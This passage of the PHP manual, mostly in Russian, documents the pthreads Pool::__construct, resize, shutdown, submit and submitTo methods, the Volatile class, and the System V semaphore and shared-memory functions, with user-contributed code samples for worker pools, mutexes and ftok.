                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isDone();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
l00k at protonmail dot com 02-Dec-2017 04:05
This example demonstrates various aspects of MTP with pthreads - esspecially worth of note is bidirectional communication with child threads.
I could not find anything about that so I would like to present you my research result.

<?php

class Model
{

    public $id;
    public $value;

}

class Connection
    extends Worker
{

    protected static $link;

    public function __construct($hostname, $username, $password, $database, $port = 3306)
    {
        $this->hostname = $hostname;
        $this->username = $username;
        $this->password = $password;
        $this->database = $database;
        $this->port = $port;
    }

    public function getConnection()
    {
        if(!self::$link)
        {
            echo 'Thread: '. $this->getThreadId() ." Connecting to db\n";
            self::$link = new \PDO(...);
        }

        return self::$link;
    }

}

/** @property Connection $worker */
class QueryTask
    extends Threaded
{

    public $data;
    public $result;

    protected $_complete;

    public function __construct(Model $data)
    {
        $this->_complete = false;
        $this->data = $data;
    }

    public function run()
    {
        /** @var \PDO $pdo */
        $pdo = $this->worker->getConnection();

        $text = 'Thread: '. $this->worker->getThreadId() .' Job: '. $this->data->id .' Data: '. $this->data->value;

        $t = microtime(true);

        $stmt = $pdo->prepare("
            INSERT INTO `test` (`id`, `text`) VALUES (NULL, '". $text ."')
        ");
        $stmt->execute();

        $dt = microtime(true) - $t;

        $result = (int) $stmt->rowCount();

        echo $text .' Result: '. $result .' Exec time: '. $dt ."s\n";

        $this->result = $result;
        $this->_complete = true;
    }

    public function isGarbage() : bool
    {
        return $this->_complete;
    }

}

$t = microtime(true);

// uruchomienie
$pool = new Pool(5, 'Connection', [ 'localhost', 'root', 'password', 'test' ]);

// zadania
$tasks = 10;

for($i=0; $i<$tasks; ++$i)
{
    $object = new Model();
    $object->id = $i;
    $object->value = rand();

    $pool->submit(new QueryTask($object));
}

// oczekiwanie na zakonczenie
$data = [];

while(1)
{
    $newData = [];

    $pool->collect(function(QueryTask $task) use (&$newData) {
        if($task->isGarbage())
        {
            $tmpObj = new stdclass();
            $tmpObj->complete = $task->complete;

            $newData[ $task->data->id ] = $task->data->value;
        }

        return $task->isGarbage();
    });

    $data = array_merge($data, $newData);

    if(count($data) == $tasks)
        break;

    usleep(100000);
}

var_dump($data);
?>

Result:
Thread: 6796 Connecting to db
Thread: 3156 Connecting to db
Thread: 9040 Connecting to db
Thread: 7748 Connecting to db
Thread: 8836 Connecting to db
Job: 0 Done in: 0.0070011615753174s
Job: 4 Done in: 0.0069999694824219s
Job: 2 Done in: 0.0090010166168213s
Job: 3 Done in: 0.0090010166168213s
Job: 1 Done in: 0.003000020980835s
Job: 5 Done in: 0.0069999694824219s
Job: 7 Done in: 0.0079998970031738s
Job: 6 Done in: 0.0049998760223389s
Job: 9 Done in: 0.0079998970031738s
Job: 8 Done in: 0.0069999694824219s

array(10) {
  [0] =>
  int(17730)
  [1] =>
  int(18771)
  [2] =>
  int(12944)
  [3] =>
  int(6025)
  [4] =>
  int(29582)
  [5] =>
  int(10159)
  [6] =>
  int(26556)
  [7] =>
  int(9029)
  [8] =>
  int(15002)
  [9] =>
  int(4043)
}

Things worth noting here:
1. Constructing of 5 workers for 10 tasks. 5 last task are runned on existing threads with already set up connection to db.
2. You can "send" data to thread by creating new task and submiting it.
3. You can retrive result by collect function.
4. You can pass simple object to task constructor.
meadowsjared at gmail dot com 14-Mar-2016 07:13
Please note, when using the collect function, it's important that you extend the pool class so you can keep checking for finished threads until they're all done.

<?php
class TestWork extends Threaded {
    protected $complete;
    //$pData is the data sent to your worker thread to do it's job.
    public function __construct($pData){
        //transfer all the variables to local variables
        $this->complete = false;
        $this->testData = $pData;
    }
    //This is where all of your work will be done.
    public function run(){
        usleep(2000000); //sleep 2 seconds to simulate a large job
        $this->complete = true;
    }
    public function isGarbage() {
        return $this->complete;
    }
}
class ExamplePool extends Pool
{
    public $data = array();
    public function process()
    {
        // Run this loop as long as we have
        // jobs in the pool
        while (count($this->work)) {
            $this->collect(function (TestWork $task) {
                // If a task was marked as done
                // collect its results
                if ($task->isGarbage()) {
                    $tmpObj = new stdclass();
                    $tmpObj->complete = $task->complete;
                    //this is how you get your completed data back out [accessed by $pool->process()]
                    $this->data[] = $tmpObj;
                }
                return $task->isGarbage();
            });
        }
        // All jobs are done
        // we can shutdown the pool
        $this->shutdown();
        return $this->data;
    }
}
$pool = new ExamplePool(3);
$testData = 'asdf';
for($i=0;$i<5;$i++) {
    $pool->submit(new TestWork($testData));
}
$retArr = $pool->process(); //get all of the results
echo '<pre>';
print_r($retArr); //return the array of results (and maybe errors)
echo '</pre>';
?>
your dot brother dot t at hotmail dot com 29-Dec-2014 09:33
The example code crashes and made me waste 2 working days
First of all, `Stackable` has no attribute named $worker or it's access method made it inaccessible.

Secondly, `Stackable` also doesn't have `getThreadId()` . It's best practice to use `Thread` class for realization of a thread since it has more control functions. It's better to use `Stackable` for object storage and use it's `run()` as its initialization.

The working example is

<?php
    class MyWork extends Thread {
        protected $complete;

        public function __construct() {
            $this->complete = false;
        }

        public function run() {
            printf(
                "Hello from %s in Thread #%lu\n",
                __CLASS__, $this->getThreadId());
            $this->complete = true;
        }

        public function isComplete() {
            return $this->complete;
        }
    }

    class Something {}

    class MyWorker extends Worker {

        public function __construct(Something $something) {
            $this->something = $something;
        }

        public function run() {
            /** ... **/
        }
    }

    $pool = new Pool(8, \MyWorker::class, [new Something()]);
    $pool->submit(new MyWork());

    usleep(1000);

    $pool->collect(function($work){
        return $work->isComplete();
    });
    var_dump($pool);
?>


Создаёт новый пул воркеров

  • « Pool::collect
  • Pool::resize »
  • PHP Manual
  • Pool
  • Создаёт новый пул воркеров

Pool::__construct

(PECL pthreads >= 2.0.0)

Pool::__construct — Создаёт новый пул воркеров

Описание

public Pool::__construct(int $size, string $class = ?, array $ctor = ?)

Создаёт новый пул рабочих. Пулы лениво создают свои потоки, что означает, что новые потоки будут создаваться только тогда, когда они необходимы для выполнения заданий.

Список параметров

size

Максимальное количество воркеров, которое может создать этот пул

class

Класс для новых воркеров. Если класс не указан, то по умолчанию используется класс Worker.

ctor

Массив аргументов для передачи конструкторам новых воркерам.

Примеры

Пример #1 Создание пулов

<?php
class MyWorker extends Worker {

public function __construct(Something $something) {
$this->something = $something;
}

public function run() {
/** ... **/
}
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);

var_dump($pool);
?>

Результат выполнения данного примера:

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  NULL
  ["work":protected]=>
  NULL
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Изменяет размер пула

  • « Pool::__construct
  • Pool::shutdown »
  • PHP Manual
  • Pool
  • Изменяет размер пула

Pool::resize

(PECL pthreads >= 2.0.0)

Pool::resize — Изменяет размер пула

Описание

public Pool::resize(int $size): void

Изменяет размер пула

Список параметров

size

Максимальное количество воркеров, которое может создать этот пул

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Выключает все воркеры

  • « Pool::resize
  • Pool::submit »
  • PHP Manual
  • Pool
  • Выключает все воркеры

Pool::shutdown

(PECL pthreads >= 2.0.0)

Pool::shutdown — Выключает все воркеры

Описание

public Pool::shutdown(): void

Выключает всех воркеров в пуле. Будет заблокировано до тех пор, пока все отправленные задачи не будут выполнены.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Выключение пула

<?php
class Task extends Threaded
{
public function run()
{
usleep(500000);
}
}

$pool = new Pool(4);

for ($i = 0; $i < 10; ++$i) {
$pool->submit(new Task());
}

$pool->shutdown(); // пока все отправленные задачи не завершат выполнение

User Contributed Notes

There are no user contributed notes for this page.


Отправляет объект на исполнение

  • « Pool::shutdown
  • Pool::submitTo »
  • PHP Manual
  • Pool
  • Отправляет объект на исполнение

Pool::submit

(PECL pthreads >= 2.0.0)

Pool::submit — Отправляет объект на исполнение

Описание

public Pool::submit(Threaded $task): int

Отправляет задание следующему воркеру в пуле

Список параметров

task

Задание для выполнения

Возвращаемые значения

Идентификатор воркера, выполняющего объект

Примеры

Пример #1 Отправка заданий

<?php
class MyWork extends Threaded {

public function run() {
/* ... */
}
}

class MyWorker extends Worker {

public function __construct(Something $something) {
$this->something = $something;
}

public function run() {
/** ... **/
}
}

$pool = new Pool(8, \MyWorker::class, [new Something()]);
$pool->submit(new MyWork());
var_dump($pool);
?>

Результат выполнения данного примера:

object(Pool)#1 (6) {
  ["size":protected]=>
  int(8)
  ["class":protected]=>
  string(8) "MyWorker"
  ["workers":protected]=>
  array(1) {
    [0]=>
    object(MyWorker)#4 (1) {
      ["something"]=>
      object(Something)#5 (0) {
      }
    }
  }
  ["work":protected]=>
  array(1) {
    [0]=>
    object(MyWork)#3 (1) {
      ["worker"]=>
      object(MyWorker)#5 (1) {
        ["something"]=>
        object(Something)#6 (0) {
        }
      }
    }
  }
  ["ctor":protected]=>
  array(1) {
    [0]=>
    object(Something)#2 (0) {
    }
  }
  ["last":protected]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Отправляет задачу конкретному воркеру для выполнения

  • « Pool::submit
  • Volatile »
  • PHP Manual
  • Pool
  • Отправляет задачу конкретному воркеру для выполнения

Pool::submitTo

(PECL pthreads >= 2.0.0)

Pool::submitTo — Отправляет задачу конкретному воркеру для выполнения

Описание

public Pool::submitTo(int $worker, Threaded $task): int

Отправляет задачу указанному воркеру в пуле. Воркеры индексируются с 0 и будут существовать только в том случае, если пулу необходимо их создать (поскольку потоки создаются лениво).

Список параметров

worker

Воркер, в который нужно добавить задание, начиная с 0.

task

Задание для выполнения

Возвращаемые значения

Идентификатор воркера, принявшего задачу.

Примеры

Пример #1 Отправка задач конкретному воркеру

<?php
class Task extends Threaded {
public function run() {
var_dump(Thread::getCurrentThreadID());
}
}

$pool = new Pool(2);

$pool->submit(new Task());

for ($i = 0; $i < 5; ++$i) {
$pool->submitTo(0, new Task()); // добавление всех заданий первому воркеру
}

$pool->submitTo(1, new Task()); // не может добавить задачу второму воркеру, потому что его ещё не существует

$pool->shutdown();

Результат выполнения данного примера:

int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)
int(4475011072)

Fatal error: Uncaught Exception: The selected worker (1) does not exist in %s:%d

User Contributed Notes

There are no user contributed notes for this page.


Класс Volatile

(PECL pthreads >= 3.0.0)

Введение

Класс Volatile появился в pthreads v3. Его введение является следствием новой семантики неизменности Threaded-свойств классов Threaded. Класс Volatile включает иммутабельность их Threaded-свойств и, также, используется для хранения массивов PHP в контексте Threaded.

Обзор классов

class Volatile extends Threaded implements Collectable, Traversable {
/* Наследуемые методы */
public Threaded::chunk(int $size, bool $preserve): array
public Threaded::count(): int
public Threaded::extend(string $class): bool
public Threaded::isRunning(): bool
public Threaded::isTerminated(): bool
public Threaded::merge(mixed $from, bool $overwrite = ?): bool
public Threaded::notify(): bool
public Threaded::notifyOne(): bool
public Threaded::pop(): bool
public Threaded::run(): void
public Threaded::shift(): mixed
public Threaded::synchronized(Closure $block, mixed ...$args): mixed
public Threaded::wait(int $timeout = ?): bool
}

Примеры

Пример #1 Новая семантика иммутабельности Threaded

<?php

class Task extends Threaded
{
public function __construct()
{
$this->data = new Threaded();

// попытка переопределить Threaded-свойство Threaded-класса (ошибка)
$this->data = new stdClass();
}
}

var_dump((new Task())->data);

Результатом выполнения данного примера будет что-то подобное:

RuntimeException: Threaded members previously set to Threaded objects are immutable, cannot overwrite data in %s:%d

Пример #2 Пример использования Volatile

<?php

class Task extends Volatile
{
public function __construct()
{
$this->data = new Threaded();

// попытка переопределить Threaded-свойство Volatile-класса (корректно)
$this->data = new stdClass();
}
}

var_dump((new Task())->data);

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)#3 (0) {
}

User Contributed Notes

synnus at gmail dot com 02-Oct-2019 06:29
<?php

// just use extends  volatile for use array
// is verry good

class libvar extends Volatile
{
    private $_adresse = '127.0.0.1';
    private $_port = 10000;

    public $socket;
    public $list_socket = array();
    public $list_error = array();

    public function __construct(){ }

    public function set_list($val) { $ct = count($this->list_socket); $this->list_socket[ $ct ] = $val; return $ct; }
    public function set_socket($val) { $this->socket = $val; return $this->socket; }
    public function set_error($val) { $this->list_error[ count($this->list_error) ] = $val; }

    public function unset_list($val) { unset($this->list_error[ $val ]); }

    public function get_socketinlist($val) { return $this->list_socket[$val]; }
    public function get_adresse() { return $this->_adresse; }
    public function get_port() { return $this->_port; }
    public function get_socket() { return $this->socket; }
}

?>


Семафоры, разделяемая память и IPC

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции семафоров
    • ftok — Преобразование пути и идентификатора проекта в ключ System V IPC
    • msg_get_queue — Создание или подключение к очереди сообщений
    • msg_queue_exists — Проверка существования очереди сообщений
    • msg_receive — Получение сообщения из очереди сообщений
    • msg_remove_queue — Удаление очереди сообщений
    • msg_send — Отправка сообщения в очередь сообщений
    • msg_set_queue — Установка информации в структуре данных очереди сообщений
    • msg_stat_queue — Получение информации из структуры данных очереди сообщений
    • sem_acquire — Захват семафора
    • sem_get — Получение идентификатора семафора
    • sem_release — Освобождение семафора
    • sem_remove — Удаление семафора
    • shm_attach — Создаёт или открывает сегмент разделяемой памяти
    • shm_detach — Отключается от сегмента разделяемой памяти
    • shm_get_var — Возвращает переменную из разделяемой памяти
    • shm_has_var — Проверяет, существует ли конкретная запись
    • shm_put_var — Вставляет или обновляет переменную в разделяемой памяти
    • shm_remove_var — Удаляет переменную из разделяемой памяти
    • shm_remove — Удаляет разделяемую память из систем Unix
  • SysvMessageQueue — Класс SysvMessageQueue
  • SysvSemaphore — Класс SysvSemaphore
  • SysvSharedMemory — Класс SysvSharedMemory

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модули обеспечивают поддержку семейства функций межпроцессного взаимодействия System V. Сюда входят семафоры, разделяемая память и обмен сообщениями между процессами (IPC).

Семафоры могут использоваться для получения эксклюзивного доступа к ресурсам локальной машины или для ограничения числа процессов, одновременно использующих ресурс.

Также этот модуль поддерживает функции для работы с разделяемой памятью System V. Разделяемая память может быть использована для предоставления доступа к глобальным переменным. Различные httpd-демоны и даже другие программы (написанные на Perl, C и т.д.) могут получать доступ к этим данным для осуществления глобального обмена данными. Помните, что разделяемая память НЕ ЗАЩИЩЕНА от одновременного доступа. Используйте семафоры для синхронизации.

Лимиты, наложенные на разделяемую память в Unix OS
SHMMAX | максимальный размер разделяемой памяти, обычно 131072 байт
SHMMIN | минимальный размер разделяемой памяти, обычно 1 байт
SHMMNI | максимальное количество сегментов разделяемой памяти в системе, обычно 100
SHMSEG | максимальное количество сегментов разделяемой памяти на процесс, обычно 6

Функции обмена сообщениями можно использовать для отправки и получения сообщений в/из другой процесс. Они обеспечивают простое и эффективное средство обмена данными между процессами без необходимости создания UNIX-сокетов.

Замечание: В Windows доступны только функции разделяемой памяти и ftok(). На этой платформе не поддерживаются ни семафоры, ни функции обмена сообщениями между процессами.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Поддержка этих функций по умолчанию отключена. Для включения поддержки семафоров System V соберите PHP с опцией --enable-sysvsem. Для включения поддержки разделяемой памяти System V соберите PHP с опцией --enable-sysvshm. Для включения поддержки сообщений System V соберите PHP с опцией --enable-sysvmsg.

User Contributed Notes

sparcbr at gmail dot com 05-Apr-2020 01:29
It should be mentioned that depending on the system, an module can be available.

On CentOS I just ran:
sudo yum install php73-php-sysvsem

then reload:
sudo service php-fpm reload (or apache, depending on your case)

and semaphore functions are now available.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Настройка конфигурации семафоров
Имя | По умолчанию | Место изменения | Список изменений
sysvshm.init_mem | 10000 | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

sysvshm.init_mem int

Размер сегмента разделяемой памяти по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.0.0 модуль определял типы ресурсов sysvmsg queue (очередь сообщений System V), sysvsem (семафор System V) и sysvshm (Разделяемая память System V).

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MSG_IPC_NOWAIT (int)
MSG_EAGAIN (int)
MSG_ENOMSG (int)
MSG_NOERROR (int)
MSG_EXCEPT (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции семафоров

Содержание

  • ftok — Преобразование пути и идентификатора проекта в ключ System V IPC
  • msg_get_queue — Создание или подключение к очереди сообщений
  • msg_queue_exists — Проверка существования очереди сообщений
  • msg_receive — Получение сообщения из очереди сообщений
  • msg_remove_queue — Удаление очереди сообщений
  • msg_send — Отправка сообщения в очередь сообщений
  • msg_set_queue — Установка информации в структуре данных очереди сообщений
  • msg_stat_queue — Получение информации из структуры данных очереди сообщений
  • sem_acquire — Захват семафора
  • sem_get — Получение идентификатора семафора
  • sem_release — Освобождение семафора
  • sem_remove — Удаление семафора
  • shm_attach — Создаёт или открывает сегмент разделяемой памяти
  • shm_detach — Отключается от сегмента разделяемой памяти
  • shm_get_var — Возвращает переменную из разделяемой памяти
  • shm_has_var — Проверяет, существует ли конкретная запись
  • shm_put_var — Вставляет или обновляет переменную в разделяемой памяти
  • shm_remove_var — Удаляет переменную из разделяемой памяти
  • shm_remove — Удаляет разделяемую память из систем Unix

User Contributed Notes

HansRich 30-Jun-2014 09:00
For shared memory needs, these functions are greatly outdated and inefficient.
They don't provide read/write locking and they use a single linked list for storing the variables, which means they have an average complexity of O(n/2) where n is the number of variables in the segment.

For a better alternative use APC Functions which implement proper read/write locking and use a hash table so they have good efficiency even for large amounts of variables:
http://php.net/manual/en/ref.apc.php
piosaw79 25-Jul-2011 02:36
I'm using this simple functions to mimic semaphores on Windows (with $max_acquire = 1):

<?php
if ( !function_exists('sem_get') ) {
    function sem_get($key) { return fopen(__FILE__.'.sem.'.$key, 'w+'); }
    function sem_acquire($sem_id) { return flock($sem_id, LOCK_EX); }
    function sem_release($sem_id) { return flock($sem_id, LOCK_UN); }
}
?>
mr dot smaon at gmail dot com 25-Jan-2007 09:08
Here is a simple Mutex class implementation, using semaphore on Linux and flock on windows.
Filename is optionnal, but you can provide it anyway. This way the file will be created on windows, not on linux as it is not needed.
It's fast written and certainly lacks error checking code.

<?php

    class Mutex
    {
        private $id;
        private $sem_id;
        private $is_acquired = false;
        private $is_windows = false;
        private $filename = '';
        private $filepointer;

        function __construct()
        {
            if(substr(PHP_OS, 0, 3) == 'WIN')
                $this->is_windows = true;
        }

        public function init($id, $filename = '')
        {
            $this->id = $id;

            if($this->is_windows)
            {
                if(empty($filename)){
                    print "no filename specified";
                    return false;
                }
                else
                    $this->filename = $filename;
            }
            else
            {
                if(!($this->sem_id = sem_get($this->id, 1))){
                    print "Error getting semaphore";
                    return false;
                }
            }

            return true;
        }

        public function acquire()
        {
            if($this->is_windows)
            {
                if(($this->filepointer = @fopen($this->filename, "w+")) == false)
                {
                    print "error opening mutex file<br>";
                    return false;
                }

                if(flock($this->filepointer, LOCK_EX) == false)
                {
                    print "error locking mutex file<br>";
                    return false;
                }
            }
            else
            {
                if (! sem_acquire($this->sem_id)){
                    print "error acquiring semaphore";
                    return false;
                }
            }

            $this->is_acquired = true;
            return true;
        }

        public function release()
        {
            if(!$this->is_acquired)
                return true;

            if($this->is_windows)
            {
                if(flock($this->filepointer, LOCK_UN) == false)
                {
                    print "error unlocking mutex file<br>";
                    return false;
                }

                fclose($this->filepointer);
            }
            else
            {
                if (! sem_release($this->sem_id)){
                    print "error releasing semaphore";
                    return false;
                }
            }

            $this->is_acquired = false;
            return true;
        }

        public function getId()
        {
            return $this->sem_id;
        }
    }

?>

Example use:

<?php

    $mutex = new Mutex();
    $mutex->init(1, "mutex_file.txt");
    $mutex->acquire();

    //Whatever you want single-threaded here...
    $mutex->release();

?>
hekkwan at gmail dot com 14-Nov-2006 06:15
I have been trying to get a php console script and a C application to use a common semaphore for a while. I just got it working, so I thought Id paste the code here incase anyone needs to do this, however, this is not the place for long code examples

I used c code from the php implementation to set up the semaphore set and then mimic the way the php interpreter implements a mutext type locking scheme, using a common semop call.

One has to do the process in the same way as its done in the php implementation, otherwise you run the risk of the php interpreter resetting the semaphore set for you.

The basic idea is.
1) sem_get - use a three semaphore set
1.1) increment the first sem
1.2) check the usage count (sem 3), if only one, set the max_attach using sem 2 for mutex behaviour to sem 3
2) decrement sem 1
3) for locking / unlocking use the first semaphore, but always call the above from your c-code.

If you want a copy of my code, email me and I'll happily send it to you !
chrissavery at removeme dot gmail dot com 02-Jun-2006 01:18
I was confused by two things that caused strange behaviour in my use of semaphores with php scripts running under apache.

Often enough page requests will end up being filled by the same process as other simultaneous requests. So semaphores will block when you may not have expected.

Also note that sem_remove() will remove it for all processes, not just the calling one. So you have to be sure that the last process running removes the semaphore and none before. I thought there was some failures occurring when my child processes were dropping out with errors.

So you can't just use get, acquire, release, remove in one script that will be hit by a web user. (1) They may end up in the same process and will wait on the other, and (2) the first one to finish will destroy the semaphore for others.

I left out the remove call, and it works ok, but I still wonder if the semaphore is removed by php when the last script that did a get finishes? Also creating a child process to do the work using proc_open works to ensure seperate processes but to be careful you would want to limit the number somehow as well.
Denis Gerasimov 02-Nov-2005 04:19
Many (most?) developers use Win32 platform for PHP Web applications development while production servers mostly run Unix/Linux OS. Below is the stub code I use to make it possible to write scripts on Win32 that use semaphores:

<?php

if (substr(PHP_OS, 0, 3) == 'WIN') {  // if Windows OS detected

    function ftok($pathname, $proj)
    {
        if (empty($pathname) || !file_exists($pathname)) {  // an error occured
            return -1;
        }

        $pathname = $pathname . (string) $proj;
        $key = array();
        while (sizeof($key) < strlen($pathname)) {
            $key[] = ord(substr($pathname, sizeof($key), 1));
        }

        return dechex(array_sum($key));
    }

    function sem_acquire($sem_identifier)
    {
        return true;
    }

    function sem_get($key, $max_acquire = null, $perm = null, $auto_release = null)
    {
        return true;
    }

    function sem_release($sem_identifier)
    {
        return true;
    }

    function sem_remove($sem_identifier)
    {
        return true;
    }

}

?>

Of course, there is no way to test semaphores until you have no Unix/Linux test server.
p4nzer at yahoo dot com 01-Nov-2005 05:55
Actually, the way to lock a semaphore from C code appears to be:
<?
    struct sembuf semptr[2];

    if( (semid = semget(SEM_KEY, PHP_SEM_NEED_NUMBER, 0666 | IPC_CREAT)) < 0 ) {
        perror("semget");
        return 1;
    }

    semptr[0].sem_num = 0;
    semptr[0].sem_op = -1;
    semptr[0].sem_flg = SEM_UNDO;
    semptr[1].sem_num = 1;
    semptr[1].sem_op =  1;
    semptr[1].sem_flg = SEM_UNDO;

    if( semop(semid, &semptr[0], 2) < 0 ) {
    perror("semop");
    }
?>

PS: Disregard the <? and ?>, it's just for pretty printing... this is C code!
hcuevas at galenicom dot com 23-Oct-2003 07:49
Don't use semaphores to serialize access to an undefined number of resources. There is no way (yet) to know before locking if a semaphore is already locked, thus not being able to fully release the semaphore and occupying a semaphore resource for an undefined time.

A possible solution is to build a shared mem pool and store there the current number of locks for a semaphore id.

Cheers,
Horaci Cuevas
Roman Laptev <tmp at laptev dot org> 02-Apr-2003 06:50
If you going to work with semaphore, which was created by some external program, you can try the following code for this program (C example):

#define SVSEM_MODE (SEM_R | SEM_A | SEM_R>>3 | SEM_R>>6) /* 0644 */
#define PHP_SEM_NEED_NUMBER 3

/*.......*/
int semid, semflag = SVSEM_MODE | IPC_CREAT | IPC_EXCL;
struct sembuf semptr;
union semun semopts;
/*.......*/
if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, semflag)) >= 0 ) {
  semopts.val = 1; /* initial value for sem */
  if( semctl( semid, 0, SETVAL, semopts) < 0 ) {/*error*/}
  if( semctl( semid, 1, SETVAL, semopts) < 0 ) {/*error*/}
  /* PHP wanna zero for its own semget at third sem.
   * look at ./PHP_SOURCE_PATH/ext/sysvsem/sysvsem.c
   */
  semopts.val = 0;
  if( semctl( semid, 2, SETVAL, semopts) < 0 ) {/*error*/}
}
else if(errno == EEXIST) { /* connect only  */
  if( (semid = semget(sempath, PHP_SEM_NEED_NUMBER, SVSEM_MODE | IPC_CREAT)) < 0 ) {/*error*/}
}
else {/*error*/}

/*.......*/
/* If you want acquire the sem */
  semptr.sem_num = 0;
  semptr.sem_op = -1; /* lock it */
  semptr.sem_flg = SEM_UNDO;
  while( semop(semid, &semptr, 1) < 0 ) {/*error*/}
/*.......*/

Thanks,
Roma
elran70 at hotmail dot com 22-Jun-2002 10:54
Samlpe code for using most of the functions here:

    $MEMSIZE    =   512;//  size of shared memory to allocate
    $SEMKEY     =   1;  //  Semaphore key
    $SHMKEY     =   2;  //  Shared memory key

    echo "Start.\n";
    // Get semaphore
    $sem_id = sem_get($SEMKEY, 1);
    if ($sem_id === false)
    {
        echo "Fail to get semaphore";
        exit;
    }
    else
        echo "Got semaphore $sem_id.\n";

    // Accuire semaphore
    if (! sem_acquire($sem_id))
    {
        echo "Fail to aquire semaphore $sem_id.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success aquire semaphore $sem_id.\n";

    $shm_id =   shm_attach($SHMKEY, $MEMSIZE);
    if ($shm_id === false)
    {
        echo "Fail to attach shared memory.\n";
        sem_remove($sem_id);
        exit;
    }
    else
        echo "Success to attach shared memory : $shm_id.\n";

    // Write variable 1
    if (!shm_put_var($shm_id, 1, "Variable 1"))
    {
        echo "Fail to put var 1 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var1 to shared memory.\n";

    // Write variable 2
    if (!shm_put_var($shm_id, 2, "Variable 2"))
    {
        echo "Fail to put var 2 on shared memory $shm_id.\n";
        sem_remove($sem_id);
        shm_remove ($shm_id);
        exit;
    }
    else
        echo "Write var2 to shared memory.\n";

    // Read variable 1
    $var1   =   shm_get_var ($shm_id, 1);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 1 from Shared memory $shm_id, return value=$var1.\n";
    }
    else
        echo "Read var1=$var1.\n";

    // Read variable 1
    $var2   =   shm_get_var ($shm_id, 2);
    if ($var1 === false)
    {
        echo "Fail to retrive Var 2 from Shared memory $shm_id, return value=$var2.\n";
    }
    else
        echo "Read var2=$var2.\n";

    // Release semaphore
    if (!sem_release($sem_id))
        echo "Fail to release $sem_id semaphore.\n";
    else
        echo "Semaphore $sem_id released.\n";

    // remove shared memory segmant from SysV
    if (shm_remove ($shm_id))
        echo "Shared memory successfully removed from SysV.\n";
    else
        echo "Fail to remove $shm_id shared memory from SysV.\n";

    // Remove semaphore
    if (sem_remove($sem_id))
        echo "semaphore removed successfully from SysV.\n";
    else
        echo "Fail to remove $sem_id semaphore from SysV.\n";
    echo "End.\n";
mikew at php dot net 31-May-2001 09:46
As for security,   please look at the perm argument to shm_get.   Shared Memory blocks has the same permission semantics as unix user/group/other file permissions.   As long as your webserver is running as a user that no other users can script to..  and as long as the permissions are set to 600,  you should be fine and have no security concerns.
php at stolt dot de 20-Sep-2000 11:58
The integer keys for sem_get() and shm_attach() have to be systemwide unique. There is no method to ensure that no other process on the system will use your specific key (security! and possible malfunction). Also shared memory is very seldom used there are possibilities for conflicts! To see the used id's you can use the program 'ipcs' (at least under SuseLinux;) ). Thanks Christian C.


Преобразование пути и идентификатора проекта в ключ System V IPC

  • « Функции семафоров
  • msg_get_queue »
  • PHP Manual
  • Функции семафоров
  • Преобразование пути и идентификатора проекта в ключ System V IPC

ftok

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftok — Преобразование пути и идентификатора проекта в ключ System V IPC

Описание

ftok(string $filename, string $project_id): int

Функция преобразует filename существующего, доступного файла и идентификатор проекта в целое для использования, например, в shmop_open() и других ключах System V IPC.

Список параметров

filename

Путь к файлу

project_id

Идентификатор проекта. Это должен быть один символ.

Возвращаемые значения

В случае успешного выполнения возвращается созданное значение ключа, и -1 в случае возникновения ошибки.

Смотрите также

  • shmop_open() - Резервирование или использование блока разделяемой памяти
  • sem_get() - Получение идентификатора семафора

User Contributed Notes

seelts at gmail dot com 13-Jan-2015 12:17
abk@avatartechnology.com has copied the code of daniele_dll@yahoo.it
But it is not correct.
The right version is here:
<?php
function ftok ($filePath, $projectId) {
    $fileStats = stat($filePath);
    if (!$fileStats) {
        return -1;
    }

    return sprintf('%u',
        ($fileStats['ino'] & 0xffff) | (($fileStats['dev'] & 0xff) << 16) | ((ord($projectId) & 0xff) << 24)
    );
}
?>

The difference is that $projectId string should be used as ASCII value via ord() function. Otherwise it will be interpreted as 0.
vlatko dot surlan at evorion dot hr 22-Apr-2013 10:09
The rather unintuitive usage of ftok with shm related functions like shmop_open and shm_attach could simply be explained as a need to avoid shm key collisions. Using ftok with a file that belongs to your project is likely to generate a unique key. Additionally, using ftok with a file from your project avoids the need to store the key so that other processes can access the segment because ftok will always give you the same key if you pass the same file.
Peter MOLNAR 18-May-2007 05:38
mbowie at buzmo dot com wrote:
"The result of this is that if you're using "1" as the id on the PHP side, you'll need to use 49 elsewhere."

You can always use chr() as an alternative.
